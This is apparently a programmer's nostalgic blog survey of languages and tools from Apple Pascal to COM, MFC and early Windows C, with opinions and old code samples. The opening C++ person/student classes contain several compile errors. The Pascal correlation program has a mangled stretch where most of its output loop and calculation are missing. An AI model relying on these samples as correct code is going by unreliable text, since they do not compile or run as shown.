ssn = new char[strlen(s)+1];

strcpy(name, n);
strcpy(address, a);
strcpy(phone, p);
strcpy(ssn, s);
}

person create(char *n,char *a,char *p,char *s)
{
person pr;

pr.name = new char[strlen(n)+1];
pr.address = new char[strlen(a)+1];
pr.phone = new char[strlen(p)+1];
pr.ssn = new char[strlen(s)+1];

strcpy(pr.name, n);
strcpy(pr.address, a);
strcpy(pr.phone, p);
strcpy(pr.ssn, s);

return pr;
}

void copy(person& d, person s)
{
delete d.name;
delete d.address;
delete d.phone;
delete d.ssn;

name = new char[strlen(s.name)+1];
address = new char[strlen(s.address)+1];
phone = new char[strlen(s.phone)+1];
ssn = new char[strlen(s.ssn)+1];

strcpy(d.name, s.name);
strcpy(d.address, s.address);
strcpy(d.phone, s.phone);
strcpy(d.ssn, s.ssn);
}

void get(ostream&s, person p)
{
s >> p.name >> p.address >> p.phone >> p.ssn;
}

void put(ostream& s, person& p)
{
s << p.name << p.address << p.phone << p.ssn;
}

ostream& operator >> (ostream& s, person& p)
{
person::get(s, p);
return s;
}

ostream& operator << (ostream& s, person& p)
{
person::put(s, p);
return s;
}

class student : public person
{
float gpa;
char *major;
char *id;
student() {};
student(char *n, char *a, char *p, char *s, float g, char *m, char *i);
student create(char *n,char *a,char *p,char *s,float g,char *m,char *i);
student student::operator = (student& s);
ostream& get(ostream& s, student& p);
ostream& put(ostream& s, student& p);
ostream& operator >> (ostream& s, student& p);
ostream& operator << (ostream& s, student& p);
}

student::student(int n, int a, int p, int s, float g, int m, int i)
: person(n, a, p, s)
{
gpa = g;
major = (char *)malloc(m);
id = (char *)malloc(i);
}

student create(char *n,char *a,char *p,char *s,float g,char *m,char *i)
{
student st;

st = person::create(n, a, p, s);
st.gpa = g;
st.major = new char[strlen(m)+1];
st.id = new char[strlen(i)+1];
strcpy(st.major, m);
strcpy(st.id, i);

return st;
}

student student::operator = (student& s)
{
if (this == &n)
return s;

delete name;
delete address;
delete phone;
delete ssn;

delete major;
delete id;

return (create(s.name, s.address, s.phone, s.ssn, s.gpa, s.major, s.id))
;
}

void get(ostream& s, student p)
{
person::get(s, p);
s >> p.gpa >> p.major >> p.id;
}

void put(ostream& s, student p)
{
person::put(s, p);
s << p.gpa << p.major << p.id;
}

ostream& operator >> (ostream& s, student& p)
{
student::get(s, p);
return s;
}

ostream& operator << (ostream& s, student& p)
{
student::put(s, p);
return s;
}

Apple Pascal
This was the first true IDE for the Apple Computer (and for any personal computer that I know of). It had a top navbar with menus (and this was 1979!!). The one thing that made Apple Pascal icky was that it had its own proprietary operating system. This proprietary OS had all the Pascal runtime libraries built in at the OS level, so that allowed you to generate smaller executables...if you were running on the Pascal OS. This is eerily similar to the relationship between Microsoft Windows and .NET. Microsoft has intentionally made .NET part of the Windows Operating system, so that you can have smaller executables.
 
Program Formula(Input,Output);

Var
H,F:ARRAY[1..100] OF INTEGER;
I,N:INTEGER;
R,E,A,L,U,M:REAL;

Begin
{ set all variables to zero }
I:=0;N:=0;R:=0;E:=0;A:=0;L:=0;U:=0;M:=0;
CLRSCR;
{ entrance stage }
{ user inputs all grades of students tested, and computer stores this }
{ information under variables H[i] for high school grades and F[i] for }
{ college freshmen year grades. }
WRITELN('Enter the number of students to be correlated: ');
READLN(N);
FOR I:=1 TO N DO
BEGIN
WRITE('Enter the final high school average of student (',I,'): ');
READLN(H[I]);
WRITE('Enter the final average for the freshmen year -=> ');
READLN(F[I]);
E:=E+(H[I]*F[I]);
A:=A+H[I];
L:=L+F[I];
U:=U+SQR(H[I]);
M:=M+SQR(F[I]);
END;
CLRSCR;
WRITELN('Please check your printer for results of test. Thankyou for using the CPT.');
WRITELN(LST,' College prediction tool');
WRITELN(LST,'==============================================================================');
WRITELN(LST,' ');
WRITELN(LST,' Out of the ',n,' students tested, they recieved the following averages... ');
FOR I:=1 TO N DO
BEGIN
WRITE(LST,' Final High School average of student (');
IF I<10>0 THEN WRITE(LST,'+');
WRITELN(LST,R:2:0,' or ',R:2:8,'. ');
WRITELN(LST,' ');

IF R>0.85 THEN BEGIN
WRITELN(LST,' This suggests a strong correlation between High School scores and a ');
WRITELN(LST,' students first year of college. ')
END;
IF R<=0.85 THEN BEGIN WRITELN(LST,' This suggests that there is no correlation between High School scores and ');
WRITELN(LST,' students first year of college. ');
END; WRITELN(LST,' ');
WRITELN(LST,'==============================================================================');
END.
Turbo Pascal
This was the real birth of Borland. They made a Pascal compiler that was small and fast and portable to a wide range of platforms, and it became the most popular compiler of the day. I had a Pascal class at school where we used Turbo Pascal on IBM PC's, and I also ran Turbo Pascal on my Apple ][ using a CPM card.

(* Robert Pappas
AP Computer Science
Third Period
Due: Thursday, October 4, 1985 *)

(* Program to find primes by the Sieve of Eratosthenes *)

PROGRAM PRIMES(INPUT,OUTPUT);

VAR A:ARRAY[1..1003] OF INTEGER;
P,Q,W,R:INTEGER;

BEGIN
WRITELN(LST,'ALL PRIMES FROM 2-1000 : ');
R:=1;
FOR Q:=1 TO 1000 DO
BEGIN
A[Q]:=1;
END;
FOR P:=2 TO 999 DO
BEGIN
R:=R+1;
W:=R*2;
WHILE W<=1000 DO
BEGIN
A[W]:=0;
W:=W+R;
END;
END;
FOR Q:=2 TO 1000 DO
BEGIN
IF A[Q]=1 THEN WRITE(LST,' ',Q);
END;
END.
Lisp
The popular joke about Lisp is that it stands for "Lots of Silly Irritating Parenthesis". Lisp is a functional language (as opposed to a procedural language). Everything is a function, and there is no real concept of "state" or mutable data. Subroutines and major sections of code are implemented as many sets of nested functions, thus resulting in the extensive uses of parenthesis.

For Computer Scientists, Lisp is just about the coolest programming language ever invented, and that is absolutely amazing considering Lisp is even older the COBOL! Lisp continues to be cool...and perhaps has gotten even cooler now that there has been a resurgence in the popularity of function languages. COBOL, on the other hand, is viewed as a cancer of Computer Science for which there is no cure. The best we've done is to drive it into remission.

; Traveling salesman problem. Written by Robert Pappas 3/17/90
;
; This program will take a list of cities and the distances between
; cities and return the shortest possible route to reach all cities
; in a loop. To run the program, load it into scheme, and call the function
; 'main' with the number of cities there are. For this example, the data
; table has been set up for 6 cities, so you could call (main 6)
; for all 6 cities, or (main 5) for the shortest distance among the
; first 5, etc. If more or different cities are to be added, only
; the variables 'citylist' (which contains the city names) and
; 'vec' (which contains a two-dimensional array containing distances
; from every city to every other city) need to be changed.


; The functions 'minus' takes two arguments, an element, and a list
; and returns the list minus that element
; (minus '3 '(1 2 3 4 5)) would be '(1 2 4 5)

(define minus (lambda (ele l)
(if (eq? (car l) ele) (cdr l)
(cons (car l) (minus ele (cdr l))))))

; My_min returns the smaller of two lists by comparing their first elements.
; This is used for comparing distances, since all city paths contain N
; elements for the N cities, plus a distance number at the head of the
; list, and it is that number which must be compared.

(define my_min (lambda (z1 z2)
(if (equal? z1 '(0)) z2
(if (> (car z1) (car z2)) z2 z1))))


; List of cities

(define citylist (vector '(Gary,) '(Ft. Wayne,) '(Evansville,)
'(Terre Haute,) '(South Bend,)
'(Indianapolis,)))


; 2-D array of distances in the same order as 'citylist'

(define vec (vector (vector 0 132 277 164 58 153)
(vector 132 0 290 201 79 121)
(vector 277 290 0 113 303 168)
(vector 164 201 113 0 196 71)
(vector 58 79 303 196 0 140)
(vector 153 121 168 71 140 0)))


; The function 'distance' receives two arguments, 'l' which is the list
; of cities to calculate the distance on, and 'n' which is the number of
; cities in the list. Distance will then return the distance traveled
; by following a path connecting them in the order listed.

(define distance (lambda (l n)
(if (equal? (length l) 1) (vector-ref (vector-ref vec (car l)) n)
(+ (vector-ref (vector-ref vec (car l)) (cadr l))
(distance (cdr l) n)))))


; The function 'mini' is the guts of the program. It controls the
; stepping of the program through the entire tree of path possibilities.
; 'l' is the list of cities unused, and 'pl' is the list of cities that
; have already been visited along the path. 'k' and 'n' are counter
; variables for position in list and number of cities respectively.

(define mini (lambda (l pl k n)
(if (equal? n 0) (cons (distance pl (car pl)) pl)
(my_min (if (equal? (+ k 1) n ) '(0)
(mini l pl (+ k 1) n) )
(mini (minus (list-ref l k) l)
(append pl (list (list-ref l k))) 0
(- n 1))))))

; Dump translates the list of numbers returned by the program into
; the corresponding city names.

(define dump (lambda (l)
(if (equal? (length l) 1) (vector-ref citylist (car l))
(append (vector-ref citylist (car l))
(dump (cdr l))))))

; Opt prints out the distance in a somewhat readable format and
; then calls dump (see above)

(define opt (lambda (l)
(write (append (list (car l))
(list '(miles))
(dump (cdr l))))))

; Makelist generates a list containing all the numbers corresponding to
; all the cities. Makelist (6) would return '(1 2 3 4 5 6) for example.

(define makelist (lambda (g)
(if (equal? g 0) '(0)
(append (list g) (makelist (- g 1))))))

; Main starts this whole chain of events off.

(define main (lambda (x)
(opt (mini (makelist (- x 1)) '() 0 x))))

Scheme
A smaller and more modern implementation of Lisp. It implements some aspects of declarative programming for convenience and to make it a slightly more accessible flavor of Lisp.

The sample Lisp program I gave above is actually written for Scheme.
Oracle Forms
When all you make is databases, you develop a strange perspective on the world in which everything looks a query. The whole purpose of Oracle Forms was (and continues to be) to make any screen just a visual representation of a SQL statement. And to some extent...ya...that kinda works. But it leads to flat client/server applications.
SQL
Structure Query Language. I've written nightmarishly complex SQL statements over the years, but they aren't worth posting here.
Stored Procedures
I think developers have had a love/hate relationship with stored procedures over the years. Centralizing data logic is good. Adding load to the least scalable piece of your infrastructure is bad. But the real tipping point for me that made me not want to use Stored Procedures is that they are all database specific. There is no database-neutral Stored Procedure language that is supported by all major databases. I've run into too many instances where we needed to port a project from one database to another, but couldn't because it used stored procedures heavily.
Unix Shell Scripting
This is not a real programming language, but rather just a scripting language for Unix/Linux. Flow control and comparators are especially kludgey in all Shell Scripting languages that I know.
Modula-2
A supposed successor to Pascal, and based largely on the Pascal syntax. It also had support for multiprogramming. But it never really caught on, and I've never seen it used outside of one class I took.
Borland C++
This was THE C++ compiler for the PC platform in the DOS days. But when Windows came along, Microsoft leveraged their Windows monopoly to drive Borland out of the market.
Turbo Vision
Oh I wish I still had the source code for some of the applications I wrote in Turbo Vision. Turbo Vision was a GUI framework written using only text-mode ANSI characters. It had mouse support and implemented windows, buttons, droplists, and other GUI controls using only a text interface. That's VERY cool, and I would argue still useful today. I'm a fan of ncurses for similar reasons.
Delphi
Delphi was one of the first and best RAD (Rapid Application Development) platforms in the 90's. Delphi used Object Pascal as its programming language. Most IDEs that tried to be RAD used "toy" programming languages like Basic. These IDEs were only good for FAD (Fake Application Development). Other IDEs tried to use serious programming languages like C++, but C++ is too complex for two-way wizarding. These IDEs became SAD (Slow Application Development). Delphi struck that perfect balance between having a real programming language, and still having a powerful IDE that could do all the boilerplate work of GUI development. Despite technical superiority on many levels, Delphi's RAD was no match for MAD (Microsoft Application Development).
  
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Label1: TLabel;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ private declarations }
public
{ public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
Label1.Caption := 'Hello World';
end;

end.

Watcom C/C++
This compiler started its life as "Waterloo C" for the IBM System 370. It became the best C/C++ compiler for the Intel platform...but then was eventualy eclipsed by Microsoft Visual C++. Microsoft never made the best compilers...they just made the compilers that won.
Oracle Pro*C/C++
This was a strange but useful C/C++ pre-compiler made by Oracle. You would put these SQL commands right into your C source code, and then the Oracle pre-compiler would convert them into the complicated Oracle native C calls to execute those statements.

EXEC SQL
SELECT
C_GROUP_CASE_ID,
N_SEQ_BOOK,
N_SEQ_SRVC,
C_PLN_TYPE,
C_PLN_SEQ_NO
INTO
:SLT272_C_GROUP_CASE_ID,
:SLT272_N_SEQ_BOOK,
:SLT272_N_SEQ_SRVC,
:SLT272_C_PLN_TYPE,
:SLT272_C_PLN_SEQ_NO
FROM SLY272_BOOK_SRVC
WHERE
C_GROUP_CASE_ID = :SLT272_C_GROUP_CASE_ID
AND N_SEQ_BOOK = :SLT272_N_SEQ_BOOK
AND N_SEQ_SRVC = :SLT272_N_SEQ_SRVC
AND C_PLN_TYPE = :SLT272_C_PLN_TYPE
AND C_PLN_SEQ_NO = :SLT272_C_PLN_SEQ_NO;
switch (SQLCODE)
{
case SQL_SUCCESS:
pBookletService->SetC_Return(SQL_SUCCESS);
break;

case SQL_ROW_NOT_FOUND:
pBookletService->SetC_Return(SQL_ROW_NOT_FOUND);
return SQL_SUCCESS;
break;

default:
LogDBError("Select_Sly272BookSrvc",
"Select",
CString(NumToString(SLT272_C_GROUP_CASE_ID) + " / " +
NumToString(SLT272_N_SEQ_BOOK) + " / " +
NumToString(SLT272_N_SEQ_SRVC) + " / " +
SLT272_C_PLN_TYPE + " / " +
NumToString(SLT272_C_PLN_SEQ_NO) ),
SQLCODE);

return (SQLCODE);
}
MFC
Microsoft Foundation Classes. The best thing I can say about the MFC is that it was usable...with some practice. They were reasonably stable, and they worked well with Visual C++ which had become the defacto standard too for Windows GUI Development in C++. They did not sufficiently abstract the inner workings of Windows, and they tended to force you into one way (The Microsoft Way) of doing everything. If the Windows API is a sewer, then MFC is a wetsuit, but what I really wanted was a boat.
  


/////////////////////////////////////////////////////////////////////////////
// CDwdev2App initialization

BOOL CDwdev2App::InitInstance()
{
// Initialize OLE libraries
if (!AfxOleInit())
{
AfxMessageBox(IDP_OLE_INIT_FAILED);
return FALSE;
}

AfxEnableControlContainer();

// Standard initialization
// If you are not using these features and wish to reduce the size
// of your final executable, you should remove from the following
// the specific initialization routines you do not need.

#ifdef _AFXDLL
Enable3dControls(); // Call this when using MFC in a shared DLL
#else
Enable3dControlsStatic(); // Call this when linking to MFC statically
#endif

// Change the registry key under which our settings are stored.
// TODO: You should modify this string to be something appropriate
// such as the name of your company or organization.
SetRegistryKey(_T("Local AppWizard-Generated Applications"));

LoadStdProfileSettings(); // Load standard INI file options (including MRU)

// Register the application's document templates. Document templates
// serve as the connection between documents, frame windows and views.

CSingleDocTemplate* pDocTemplate;
pDocTemplate = new CSingleDocTemplate(
IDR_MAINFRAME,
RUNTIME_CLASS(CDwdev2Doc),
RUNTIME_CLASS(CMainFrame), // main SDI frame window
RUNTIME_CLASS(CDwdev2View));
pDocTemplate->SetContainerInfo(IDR_CNTR_INPLACE);
AddDocTemplate(pDocTemplate);

// Parse command line for standard shell commands, DDE, file open
CCommandLineInfo cmdInfo;
ParseCommandLine(cmdInfo);

// Dispatch commands specified on the command line
if (!ProcessShellCommand(cmdInfo))
return FALSE;

// The one and only window has been initialized, so show and update it.
m_pMainWnd->ShowWindow(SW_SHOW);
m_pMainWnd->UpdateWindow();

return TRUE;
}


gcc
The Gnu Compiler Collection. This is the defacto way I compile C and C++ programs on those occasions when I still write them for Linux. The gcc also has compilers for Java, Ada, Fortran and many other languages. But the vast majority of Linux projects (by far) just use the C and C++ compilers.

Turbo C
Turbo C was my platform of choice for all of the early 90's. C was becoming a mainstream language, and the PC was becoming a serious development platform.
OWL
A toolkit for developing Windows applications. It actually (after a few iterations) became better than MFC. But that didn't matter. Microsoft makes the platform, so Microsoft has the edge. MFC won out, and OWL died.
 
#include <condefs.h>

int OwlMain(int , char* [])
{
return TApplication("Hello World!").Run();
}
#define WinMain

COM/ DCOM
"Can't Oppose Monopolies" and "Definitely Can't Oppose Monopolies". This was Microsoft's binary object model, designed to allow you to use components from multiple languages...but NOT multiple platforms.

The philosophy of a component model is driven largely by the vendor(s) behind it. I have a metaphor for each:

1) Microsoft: You are locked in a cage. You are constantly being told that you are free because you are allowed to do anything you want, and use any programming language you want....INSIDE your cage. Oh, and your cage is 90ft off the ground, so even if you insist on escaping from your cage, you will pay a high price.

2) Sun: You are in a hamster ball. You can leave your cage and roll anywhere you want, but you must interact with the world through the hamster ball.

3) Oracle: You are in a hamster Habitrail cage. You can go anywhere you want as long as you are willing to buy and build out the expensive Oracle tubing to get there. Oracle also makes a lot of expensive pre-fab modules that can connect to each other with this tubing.

4) IBM: You are a Hamster in a suit. You look ridiculous. You don't care about component models because they don't pay you to care.


Here is a little source code from a "simple" COM project where i'm trying to remote-control Microsoft Word.


void CSlwView2App::InitializeWord()
{
USES_CONVERSION;

LPUNKNOWN pUnk;
LPDISPATCH lpDispatch;
CLSID clsid;

Word97::Documents oDocuments;

//Declare some commonly used Ole Variants.
COleVariant covTrue((short)TRUE);
COleVariant covFalse((short)FALSE);
COleVariant covOptional((long)DISP_E_PARAMNOTFOUND, VT_ERROR);

/*-------------------------------------------------------------------------
- Find the GUID (CLSID) of the Word Application on the users system.
- This will enable us to use COM to launch the application.
---------------------------------------------------------------------------*/
::CLSIDFromProgID(T2OLE("Word.Application"), &clsid);
/*--------------------------------------------------------------------------
- Let's see if Word is already running. If it is, we'll use the running
- instance of Word. Otherwise, we'll launch a new instance of word.
--------------------------------------------------------------------------*/
if (::GetActiveObject(clsid, NULL, &pUnk) == S_OK)
{
/*------------------------------------------------------------------------
- Oh good. Word is already running, and we have a COM pointer to it
- stored in "pUnk". So let's use COM's QueryInterface
- to request a handle to its Dispatch Interface.
------------------------------------------------------------------------*/
VERIFY(pUnk->QueryInterface(IID_IDispatch,
(void**) &lpDispatch) == S_OK);
/*--------------------------------------------------------------------------
- Now, we attach our local Word Dispatch object to the Dispatch of the
- running instance of Word.
--------------------------------------------------------------------------*/
m_oApp.AttachDispatch(lpDispatch);
/*------------------------------------------------------------------------
- We no longer need the pUnk COM pointer, so we Release it.
------------------------------------------------------------------------*/
pUnk->Release();
TRACE("I was able to attach to an existing Word instance\n");
}
else
{
/*----------------------------------------------------------------------
- Oh. Word is NOT running. So we just launch it using the Ole function
- CreateDispatch. This will make m_oApp into a Dispatch Interface we
- can use to talk to Word.
-----------------------------------------------------------------------*/
if (!m_oApp.CreateDispatch("Word.Application"))
{
AfxMessageBox("Unable to launch Microsoft Word. Make sure Microsoft Word is installed on this machine.");
return;
}
TRACE("I had to create a new Word instance\n");
}

/*--------------------------------------------------------------------------
- Now we use the Application Dispatch to get a handle to the Documents
- Dispatch. Any running instance of Word has about 200 Dispatch Interfaces
- that you can use. They are all outlined in msword8.h. They include
- Interfaces like "Application", "Documents", "Bookmarks", "Paragraphs", etc
--------------------------------------------------------------------------*/
oDocuments.AttachDispatch(m_oApp.GetDocuments());
/*--------------------------------------------------------------------------
- Open the Output Document. m_oDoc is a "Document" object. And we open
- it within oDocuments which is a "Documents" (with an s) object. The
- "Documents" object contains "Document" objects.
--------------------------------------------------------------------------*/
m_oDoc.AttachDispatch(oDocuments.Open(
COleVariant(m_sFileName, VT_BSTR),
covFalse, // Confirm Conversion.
covFalse, // ReadOnly.
covTrue, // AddToRecentFiles.
covOptional, // PasswordDocument.
covOptional, // PasswordTemplate.
covFalse, // Revert.
covOptional, // WritePasswordDocument.
covOptional, // WritePasswordTemplate.
covOptional) // Format.
);

///////////////////////////////////////////////
// Set Document Properties
///////////////////////////////////////////////
m_oApp.SetVisible(TRUE); //This shows the application.

/*--------------------------------------------------------------------------
- Some of these functions have bad FSHA (Focus Stealing .... ....) behaviors.
- So we have to re-ShowProgress after each function.
--------------------------------------------------------------------------*/
m_pStatusPrompt->ShowProgress("Initializing Word...", IDI_INIT);

/*--------------------------------------------------------------------------
Set any Custom Document Properties for this document.
--------------------------------------------------------------------------*/
SetDocumentProperties(APP_NAME, m_sMode);
SetDocumentProperties(REQUEST_ID_PROPERTY, m_sRequestId);
m_pStatusPrompt->ShowProgress("Initializing Word...", IDI_INIT);
/*--------------------------------------------------------------------------
Push the Document-Specific macro to Word. (The Document_Close macro)
--------------------------------------------------------------------------*/

//KLUDGE. If we are in browse mode, we can't reference the
//SlwView2 object because it won't be there. And if we Reference
//and object that's not there, VB will complain, even though we will
//never execute that line of code.
if (m_sMode == BROWSE)
{
m_sSlwView2Document.Replace("SlwView2.", "'SlwView2.");
}

PushDocumentMacro();

m_pStatusPrompt->ShowProgress("Initializing Word...", IDI_INIT);

/*--------------------------------------------------------------------------
- If BROWSE mode. Then we are done, and we can exit the application.
- (Not exit Word, just exit SlwView2.)
--------------------------------------------------------------------------*/
if (m_sMode == BROWSE)
{
/*--------------------------------------------------------------------------
- We've made document changes be adding the macros. So we need to set
- the document status to "Saved" so Word doesn't think the USER has
- made these changes.
--------------------------------------------------------------------------*/
m_oDoc.SetSaved(TRUE);
return;
}

/*--------------------------------------------------------------------------
Push Normal.Dot macros (modules) to Word
--------------------------------------------------------------------------*/
PushModuleMacros();

/*--------------------------------------------------------------------------
Calling SetCustomizationContext(m_oDoc) tells word that any customizations
we make from THIS point forward apply only to the Document, not the Word
Frame.
--------------------------------------------------------------------------*/
m_oApp.SetCustomizationContext(m_oDoc);

/*--------------------------------------------------------------------------
Create Custom Toolbar
--------------------------------------------------------------------------*/
LoadCustomToolbar();

/*--------------------------------------------------------------------------
Make Word think that no changes have been made to the document.
--------------------------------------------------------------------------*/
m_oDoc.SetSaved(TRUE);

}


CORBA
We built the baseball field, but no one came. :) CORBA was a platform neutral (and language neutral) component technology. But Microsoft opposed it in favor of COM and DCOM. Being platform neutral is no good if the biggest platform (Microsoft) won't use it. That's how powerful Microsoft is: They can destroy neutrality from the receiving end. Microsoft has always had the George W. Bush stance of "Either you are with us, or you are against us.". So, any attempt to be neutral is viewed by Microsoft as hostile action.
X-Windows
I don't have any of my X-Windows code from my first job, because we threw the whole project away. I was on a project to implement X-Windows functionality for Ada. The Federal Government had passed a law saying that Ada was now their standard programming language. All new systems had to be written in Ada. Well, this was a real pain for anyone who was developing X-Windows applications for the Government, because C was the best (really only) language for X-Windows development. We had an Ada compiler for SCO Unix, so we started a project to write tons of Ada hooks into X-Windows libraries. By the time we completed the project, the Government relaxed their restrictions to allow for C and C++. So...we threw the project away.
Orca C for //gs
For some reason, C compilers were always awkward and slow to take off on the Apple ][ platform. Apple ][ programmers used mostly Assembly or Pascal. Orca/C was the first major C IDE for developing full GUI application for the Apple ][gs. But by the time it was released, most C coders had already abandoned the Apple ][ platform for Turbo/C on the PC.
ZBasic
Surprisingly ahead of its time in many ways. It was a cross-platform language that allowed your application to run the same platform...even if they had graphics. This is pretty much what Java became years later.
Smalltalk
A pure object-oriented language. It is well-designed, consistent, and powerful. However, it just never caught on. The practical uses of a programming language always out-weigh the purity of the language syntax. And so Smalltalk was passed over for C++, Java, C#, and Visual Basic. Visual Basic is a classic example of a HORRIBLE programming language that succeeded because of its practical applications for 2nd-tier developers.
Microsoft Visual Interdev
In 1996, Microsoft said "Hey, this World Wide Web thing is getting popular!", and so they created an HTML editor and stapled Visual Basic on it. At the time, this was a pretty cool tool...if you were already married to Microsoft technologies.
Microsoft Visual J++, Microsoft Visual J#
Aside from being two ridiculous languages, these are a prime example of the power and danger of Microsoft. I was a C++ developer transitioning to Java when Microsoft released J++. Those of us who had been developers through the 90's had watched Microsoft squash one tool after another, and we knew Java would be next. It was impossible to compete with Microsoft if they could tie a technology to Windows, and J++ was tied to Windows. Java developers adopted J++ in droves, regardless of all arguments that J++ violated the core platform-neutral philosophy of Java. At one point, over 50% of Java developers used Visual J++. Then a miracle happened: A court stopped Microsoft from absorbing Java...and here is the key moral of the story: Microsoft was stopped because Java was a proprietary technology that Sun had control over. If Java had been an open source and/or open standards technology, Microsoft would have won and Java (as we know it) would have died. Sun is making Java Open Source...but my hope is that Java is now too big to be easily absorbed by Microsoft.
Java
I'm leaving all the various Java technologies off my list...because I'm still using Java today, and I can't "look back" on a technology that I'm actively using.
HTML
By 1995, HTML had become all the rage. Almost every techie I know rushed off to create their own page...but almost nobody maintained them for very long. Here is a screen shot from the home page of my very first website that I registered under the name "planetbert.com" in 1995. I was learning HTML and this brand-new programming language called "Java" at the time. (click image for larger view) Like everyone else, I kept it up-to-date for a few months, and then updated it maybe once every 6 months, and then abandoned it completely. Adding the text "Welcome Fortis Folks" was the last change I made. In 1995 through 1997, it seemed to me that Java Applet technologies would take over the world. This was the technology that was finally going to allow for rich-client web applications. But then Microsoft started to sabotage their Java support in I.E., and that was the death of Applets...probably forever. Ten years later, we are still trying to find ways to make browser technologies that are as powerful as Applets were in 1995. AJAX is a start, but it has a long way to go.
XML
Most people who are programmers are natural organizers...the kinds of people who enjoy putting boxes inside of boxes. If you give them a universal box description language (XML) they will (and did) try to use it for EV-ER-Y-THING! It became a major disaster for the development community, and now XML is finally being kicked out of application control and put back in data expression where it belongs. I am a rare programmer in that I'm not a natural organizer. I liked XML as a platform-neutral means of transmitting data...and that's all. I hated all subsequent uses of XML, and 6 years later I was finally vindicated. :)
XSLT
The concept of a platform-neutral data transformation language is a *brilliant* idea, and very much needed! The implementation of that language in a pure XML syntax was a BAD idea. Making a programming language out of XML is like making a spoon out of a cat. It's crazy. The fact that XSLT is still used is a reflection of how desparate we are for spoons. We need data transformation technologies...but why-oh-why did it have to be like THIS?! I appreciate the attempt to make it like a functional programming language...but they failed miserably. Instead we have a pseudo-functional language with lots of procedural constructs...implemented in a declarative fashion. OW!
JetForm
This was a software package for developing printable forms. What I remember most about JetForms was I had to translate one of my forms into German for our new office in Germany. All I had was a German dictionary and my two semesters of German in High School. I thought I would give it a rough translation and let the German office polish it. What I produced became legend in our German office. I was told my translation was pretty close to technically correct, but I used words in combinations that were just bizarre and hilarious. I guess I created the German equivalent of All your base are belong to us.
Microsoft Visual C++ 1.0

This was the very old-school way of writing Windows Applications before the MFC came along.
   

/****************************************************************************

PROGRAM: TestUtil.c

AUTHOR: Bert Pappas 26 JAN 94

PURPOSE: Simple skeleton Windows application to test the functions
in FILEUTIL.DLL

FUNCTIONS:

WinMain() - calls initialization function, processes message loop
InitApplication() - initializes window data and registers window
InitInstance() - saves instance handle and creates main window
MainWndProc() - processes messages

COMMENTS:

The functions tested in FILEUTIL.DLL are CopyFile and
RenameFile.
****************************************************************************/

#include <windows.h> /* required for all Windows applications */
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int PASCAL WinMain(HANDLE, HANDLE, LPSTR, int);
BOOL InitApplication(HANDLE);
BOOL InitInstance(HANDLE, int);
long CALLBACK __export MainWndProc(HWND, UINT, WPARAM, LPARAM);

/* Declare DLL functions to be tested.*/

int FAR PASCAL CopyFile(LPSTR,LPSTR,int);
int FAR PASCAL RenameFile(LPSTR,LPSTR,int);

/* Button handles */

#define ID_RENAME 3
#define ID_COPY 4
#define ID_EXIT 5

/*Window and control handles */

HANDLE hInst; /* current instance */
HWND hFromFile;
HWND hToFile;
HWND hMode;
HWND hRename;
HWND hCopy;
HWND hExit;
HWND MainWindow;

/****************************************************************************

FUNCTION: WinMain(HANDLE, HANDLE, LPSTR, int)

PURPOSE: calls initialization function, processes message loop

COMMENTS:

Windows recognizes this function by name as the initial entry point
for the program. This function calls the application initialization
routine, if no other instance of the program is running, and always
calls the instance initialization routine. It then executes a message
retrieval and dispatch loop that is the top-level control structure
for the remainder of execution. The loop is terminated when a WM_QUIT
message is received, at which time this function exits the application
instance by returning the value passed by PostQuitMessage().

If this function must abort before entering the message loop, it
returns the conventional value NULL.

****************************************************************************/

int PASCAL WinMain(hInstance, hPrevInstance, lpCmdLine, nCmdShow)
HANDLE hInstance; /* current instance */
HANDLE hPrevInstance; /* previous instance */
LPSTR lpCmdLine; /* command line */
int nCmdShow; /* show-window type (open/icon) */
{
MSG msg; /* message */

if (!hPrevInstance) /* Other instances of app running? */
if (!InitApplication(hInstance)) /* Initialize shared things */
return (FALSE); /* Exits if unable to initialize */

/* Perform initializations that apply to a specific instance */

if (!InitInstance(hInstance, nCmdShow))
return (FALSE);

/* Acquire and dispatch messages until a WM_QUIT message is received. */

while (GetMessage(&msg, /* message structure */
NULL, /* handle of window receiving the message */
NULL, /* lowest message to examine */
NULL)) /* highest message to examine */
{
if (!IsDialogMessage(MainWindow,&msg)) /* Allow keyboard intercept */
{
TranslateMessage(&msg); /* Translates virtual key codes */
DispatchMessage(&msg); /* Dispatches message to window */
}
}
return (msg.wParam); /* Returns the value from PostQuitMessage */
}


/****************************************************************************

FUNCTION: InitApplication(HANDLE)

PURPOSE: Initializes window data and registers window class

COMMENTS:

This function is called at initialization time only if no other
instances of the application are running. This function performs
initialization tasks that can be done once for any number of running
instances.

In this case, we initialize a window class by filling out a data
structure of type WNDCLASS and calling the Windows RegisterClass()
function. Since all instances of this application use the same window
class, we only need to do this when the first instance is initialized.


****************************************************************************/

BOOL InitApplication(hInstance)
HANDLE hInstance; /* current instance */
{
WNDCLASS wc;

/* Fill in window class structure with parameters that describe the */
/* main window. */

wc.style = NULL; /* Class style(s). */
wc.lpfnWndProc = MainWndProc; /* Function to retrieve messages for */
/* windows of this class. */
wc.cbClsExtra = 0; /* No per-class extra data. */
wc.cbWndExtra = 0; /* No per-window extra data. */
wc.hInstance = hInstance; /* Application that owns the class. */
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = GetStockObject(WHITE_BRUSH);
wc.lpszMenuName = NULL; /* Name of menu resource in .RC file. */
wc.lpszClassName = "GenericWClass"; /* Name used in call to CreateWindow. */

/* Register the window class and return success/failure code. */

return (RegisterClass(&wc));

}


/****************************************************************************

FUNCTION: InitInstance(HANDLE, int)

PURPOSE: Saves instance handle and creates main window

COMMENTS:

This function is called at initialization time for every instance of
this application. This function performs initialization tasks that
cannot be shared by multiple instances.

In this case, we save the instance handle in a static variable and
create and display the main program window.

****************************************************************************/

BOOL InitInstance(hInstance, nCmdShow)
HANDLE hInstance; /* Current instance identifier. */
int nCmdShow; /* Param for first ShowWindow() call. */
{
HWND hWnd; /* Main window handle. */

/* Save the instance handle in static variable, which will be used in */
/* many subsequence calls from this application to Windows. */

hInst = hInstance;

/* Create a main window for this application instance. */

hWnd = CreateWindow(
"GenericWClass", /* See RegisterClass() call. */
